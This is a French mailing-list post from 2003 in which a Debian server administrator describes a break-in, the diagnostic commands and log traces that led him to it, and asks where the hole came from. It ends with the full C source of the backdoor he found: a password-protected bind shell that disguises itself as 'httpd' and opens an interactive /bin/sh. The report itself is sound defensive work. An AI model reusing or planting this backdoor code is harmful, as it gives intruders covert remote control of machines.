[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Hack sur GNU/Debian Woody !



Bonjour à tous,
Voilà, depuis quelques jours (le 30 juillet en fait), j'ai des problèmes sur mon serveur avec mon samba qui marche très difficilement et surtout mon apache qui refuse de se lancer sous prétexte que quelqu'un d'autre utilise son port 443 (il y a bien un site qui tourne en https !) N'ayant pas eu le temps de regarder plus tôt qu'aujourd'hui, j'ai arreté le démons samba et laissé à l'arret apache... Mais aujourd'hui en regardant de plus près, horreur ! ;-) Voici quelques commandes et leur résultat qui m'a permis de trouver le coupable...
#netstat -a | grep https
tcp 0 0 *:https *:* LISTEN // le port est ouvert...
#ps aux|grep apa
root 16130 0.0 0.0 1332 424 pts/1 R 14:36 0:00 grep apa //prouve qu'il n'y a pas d'apache en lancement
# lsof -i | grep https
logs 24497 www-data 17u IPv4 1376544 TCP *:https (LISTEN) //montre l'intrus !

En faisant un #find / -name logs, j'ai fini par le retrouver dans le répertoire /tmp, s'y trouvais aussi le code source (ci-joint en attachement).
Voici le détail des 2 fichiers :
-rw-r--r--    1 www-data www-data     1828 Mar 26 21:03 bd.c
-rwxr-xr-x    1 www-data www-data     7535 Jul 29 00:54 logs*
Ce qui est fort étrange c que dans le code le port normalement utilisé est 44999 alors que moi, il tournait sur le port 443 chez moi... Aussi en regardant le code, les messages sont si je ne me trompe en portugais et si je ne me trompe ne fait qu'ouvrir un shell sur un port protégé par password ? Il y a déjà eu quelques débuts de threads sur les newsgroup mais aucun de bien convaincant à ce propos...

Donc à priori, ce trojan serait arrivé par Apache ou un de ses mods, j'ai donc cherché dans mes logs d'apache et là j'ai découvert qu'il y avait un trou dans les logs de 00:40 à 01:26 dans tous les logs d'Apache... De plus j'ai dans un log d'un virtual host qui normalement ne sert qu'à afficher la page de blocage de squidguard : 200-163-062-218.cbabm7003.dsl.brasiltelecom.net.br - - [29/Jul/2003:01:26:10 +0200] "GET / HTTP/1.0" 200 1354 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" Même si c'est après "l'heure du crime" (:-D), cette entrée n'est pas normale... (On parle portugais en plus au Brésil, non ?)

Le serveur est un PIII800 avec 260GB de disque dur, tous les paquets sont ceux qui viennet de la version stable de Woody sauf ceux concernant Apache et ces mods justement... Ces derniers viennent de http://debian.moolfreet.com, j'ai donc les versions suivantes : Apache/1.3.26, php4 4.2.3, MySQL 4.0.13-1 Il y aussi à rajouter à PHP, la suite de ZEND : Zend Performance Suite 3.5.0 qui plante relativement souvent d'ailleurs et me laisse tjs un zombie ;-)
Le kernel est le 2.4.18-8 fourni par GNU/Debian Woody
Le serveur est bien entendu protégé par firewall avec seulement quelques ports ouverts dont bien sûr ce 443... Enfin il y a un IDS qui tourne mais bon malheureusement je n'ai pas encore backporté une version plus récente, pour l'instant j'ai donc Snort 1.8.4-beta1 (Build 91)

Pour le moment j'ai tué la tâche "logs", depuis mon samba remarche à merveille et mon apache se relance correctement, mais est-il prudent de le laisser tourner ?

Bon voilà je pense que j'ai donné toutes les infos, si quequ'un pouvait m'aider ou me dire d'où pourrait venir la faille ce serait cool :)
Amicalement
Freedom66
/* 
 * Perfect.BR Team - perfectbr@mail.com
 * PRIVATE! PRIVATE! PRIVATE!
 * DON'T DISTRIBUTE THIS CODE!
 */

#include <stdio.h>
#include <netdb.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>

#define PORT 44999
#define PASSWORD "perfectbr"
#define HIDES "httpd"

int main(int argc, char *argv[])
{
	char pass[256];
	char *fuckmsg = "\nPode tentar Lammer Fela da Puta!\n";
        char *welcome = "\n\nBem vindo a  shell remota do Perfect.BR Team by Sl4yD! :D\n\n";
	

	int sockfd, newfd, size, i;
	int cpid, spid;
	
	struct sockaddr_in 	sin;
	struct sockaddr_in	addr;

	strncpy(argv[0],HIDES,15);

	if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )
		exit(-1);
	
	bzero((char*)&sin, sizeof(sin));

	sin.sin_family		= AF_INET;
	sin.sin_port		= htons(PORT);
	sin.sin_addr.s_addr	= htonl(INADDR_ANY);

	if( bind(sockfd, (struct sockaddr *)&sin, sizeof(sin)) == -1 )
		exit(-1);

	if( fork() != 0 )
		exit(0);

	setpgrp();

	signal(SIGHUP, SIG_IGN);

	if( fork() != 0 )
		exit(0);

	if( listen(sockfd, 5) != 0 )
		exit(0);

	while(1)
	{
		size = sizeof(addr);
		
		if((newfd=accept(sockfd,(struct sockaddr *)&addr, &size)) < 0) 
			exit(0);
		
		cpid = getpid();
		spid = fork();

		if( spid != 0 )
		{
			if((i=recv(newfd, pass, 256, 0)) == -1)
				continue;

			pass[i] = '\0';

			if(strstr(pass,PASSWORD) != NULL)
			{
				send(newfd,welcome,strlen(welcome),0);

				dup2(newfd,0);
				dup2(newfd,1);
				dup2(newfd,2);

				execl("/bin/sh", "bash", "-i", (char *)0);
				close(newfd);
				exit(0);
			}
			else 
			{
				send(newfd,fuckmsg,strlen(fuckmsg),0);
				close(newfd);
				exit(0);
			}
		}
	}close(newfd);
}

/* 
 *
 */


Reply to: